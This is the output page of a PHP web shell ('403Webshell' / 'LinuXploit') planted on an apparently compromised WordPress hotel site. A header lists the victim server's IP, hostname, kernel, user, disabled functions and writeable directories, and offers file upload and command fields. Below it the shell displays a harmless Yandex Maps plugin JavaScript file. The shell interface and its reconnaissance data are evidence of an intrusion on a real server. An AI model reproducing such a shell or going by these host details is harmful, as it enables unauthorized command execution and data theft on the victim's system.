403Webshell
Server IP : 89.108.64.180  /  Your IP : 216.73.217.95
Web Server : Apache/2.4.41 (Ubuntu)
System : Linux 89-108-64-180.cloudvps.regruhosting.ru 5.4.0-216-generic #236-Ubuntu SMP Fri Apr 11 19:53:21 UTC 2025 x86_64
User : www-root ( 1010)
PHP Version : 8.0.30
Disable Function : pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,
MySQL : OFF  |  cURL : ON  |  WGET : OFF  |  Perl : OFF  |  Python : OFF  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /var/www/www-root/data/www/hotelvv.ru/wp-content/plugins/maps-for-wp/js/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /var/www/www-root/data/www/hotelvv.ru/wp-content/plugins/maps-for-wp/js/create-yamaps.js
/* v 1.1.4 (2018-06-03 12:17) */
jQuery(function($){$(document).ready( function() {
 console.log("Connect create-yamaps.js");
 
 if (typeof mfwp_setings_OnePoint !=="undefined"){
	// если есть массив настроек для одиночных карт
	console.table(mfwp_setings_OnePoint);
	ymaps.ready(init); /* ждем загрузки API Яндекс карт*/  
 }
 
 function init(){ 
  if ($("div").is(".mfwpOne")) {
	// если на найдены блоки для нескольких точек
	var countOne = $('.mfwpOne').length;
	console.log("Есть карта с одной точкой. Всего их "+countOne);	
	for (var i =0; i < mfwp_setings_OnePoint.length; i++) {
		setings_OnePoint = mfwp_setings_OnePoint[i];
		console.table(setings_OnePoint);
		initializeMap_OnePoint();
	}
  }  
 }
 
 if (typeof mfwp_setings_ManyPoints !=="undefined"){
	// если есть массив настроек для карт с множеством точек
	console.table(mfwp_setings_ManyPoints);
	ymaps.ready(initMany); /* ждем загрузки API Яндекс карт*/  
 }
 
 function initMany(){ 
  if ($("div").is(".mfwpMany")) {
	// если на найдены блоки для нескольких точек
	var countMany = $('.mfwpMany').length;
	console.log("Есть карта с несколькими точками. Всего их "+countMany);	
	for (var i =0; i < mfwp_setings_ManyPoints.length; i++) {
		setings_ManyPoints = mfwp_setings_ManyPoints[i];
		console.table(setings_ManyPoints);
		initializeMap_ManyPoints();
	}
  }  
 } 

 // построение одиночных карт
 function initializeMap_OnePoint() {
	var divId = "mfwp"+setings_OnePoint[0].mfwp_id;	
	var latitude = Number(setings_OnePoint[0].mfwp_lat);
	var longitude = Number(setings_OnePoint[0].mfwp_lon);
	var iconUrl = setings_OnePoint[0].iconImageHref; // картинка маркера
	var zoom = setings_OnePoint[0].mfwp_zoom;
	var TypeId = 'yandex#'+setings_OnePoint[0].mfwp_type; // слой карты
	var thover = setings_OnePoint[0].mfwp_thover;
	var tclick = setings_OnePoint[0].mfwp_tclick;
	
	console.log("ID блока карты "+divId+" lat="+latitude+" lon="+longitude);

	map = new ymaps.Map(divId, {
		center: [latitude, longitude],
		zoom: zoom,
		// элементы управления картой
		// список элементов можно посмотреть на этой странице
		// https://tech.yandex.ru/maps/doc/jsapi/2.1/dg/concepts/controls-docpage/
		controls: [
			'typeSelector', // переключатель отображаемого типа карты
			'zoomControl' // ползунок масштаба
		],
		/* Тип покрытия карты: 
		* схема - ('yandex#map'), 
		* спутник - ('yandex#satellite'),
		* гибрид - ('yandex#hybrid').
		*/
		type: TypeId
	});

	myPlacemark_OnePoint = new ymaps.Placemark([latitude, longitude], {
		hintContent: thover, // 'Тут расположен данный объект!',
		balloonContent: tclick //'Местоположение может быть указано не точно'
	}, {
		// Опции. Необходимо указать данный тип макета.
		iconLayout: 'default#image',
		// Своё изображение иконки метки.
		iconImageHref: iconUrl,//'/wp-content/plugins/realty-7/img/marker.png',
		// Размеры метки.
		iconImageSize: [36, 36],
		// Смещение левого верхнего угла иконки относительно её "ножки" (точки привязки).
		iconImageOffset: [-3, -42]
		});
		
	map.geoObjects.add(myPlacemark_OnePoint); // cтавим точку на карту
 } 
 
 // построение карт с множеством точек
 function initializeMap_ManyPoints() {
	var divId = "mfwpm"+setings_ManyPoints[0].mfwp_id;	
	var latitude = Number(setings_ManyPoints[0].mfwp_lat);
	var longitude = Number(setings_ManyPoints[0].mfwp_lon);
	var iconUrl = setings_ManyPoints[0].iconImageHref; // картинка маркера
	var zoom = setings_ManyPoints[0].mfwp_zoom;
	var TypeId = 'yandex#'+setings_ManyPoints[0].mfwp_type; // слой карты
	
	console.log("ID блока карты "+divId+" lat="+latitude+" lon="+longitude);

	map = new ymaps.Map(divId, {
		center: [latitude, longitude],
		zoom: zoom,
		// элементы управления картой
		// список элементов можно посмотреть на этой странице
		// https://tech.yandex.ru/maps/doc/jsapi/2.1/dg/concepts/controls-docpage/
		controls: [
			'typeSelector', // переключатель отображаемого типа карты
			'zoomControl' // ползунок масштаба
		],
		/* Тип покрытия карты: 
		* схема - ('yandex#map'), 
		* спутник - ('yandex#satellite'),
		* гибрид - ('yandex#hybrid').
		*/
		type: TypeId
	});	
	
	setings_ManyPoints[0].mfwp_pointsdate.forEach(function(index){	
	 myPlacemark_OnePoint = new ymaps.Placemark([index.lat, index.lon], {
		hintContent: index.thover, // 'текст при наведении',
		balloonContent: index.tclick //'текст при клике'
	 }, {
		// Опции. Необходимо указать данный тип макета.
		iconLayout: 'default#image',
		// Своё изображение иконки метки.
		iconImageHref: iconUrl,//'/wp-content/plugins//img/marker.png',
		// Размеры метки.
		iconImageSize: [36, 36],
		// Смещение левого верхнего угла иконки относительно её "ножки" (точки привязки).
		iconImageOffset: [-3, -42]
		});
		
	 map.geoObjects.add(myPlacemark_OnePoint); // cтавим точку на карту
	});
 }

})});

Youez - 2016 - github.com/yon3zu
LinuXploit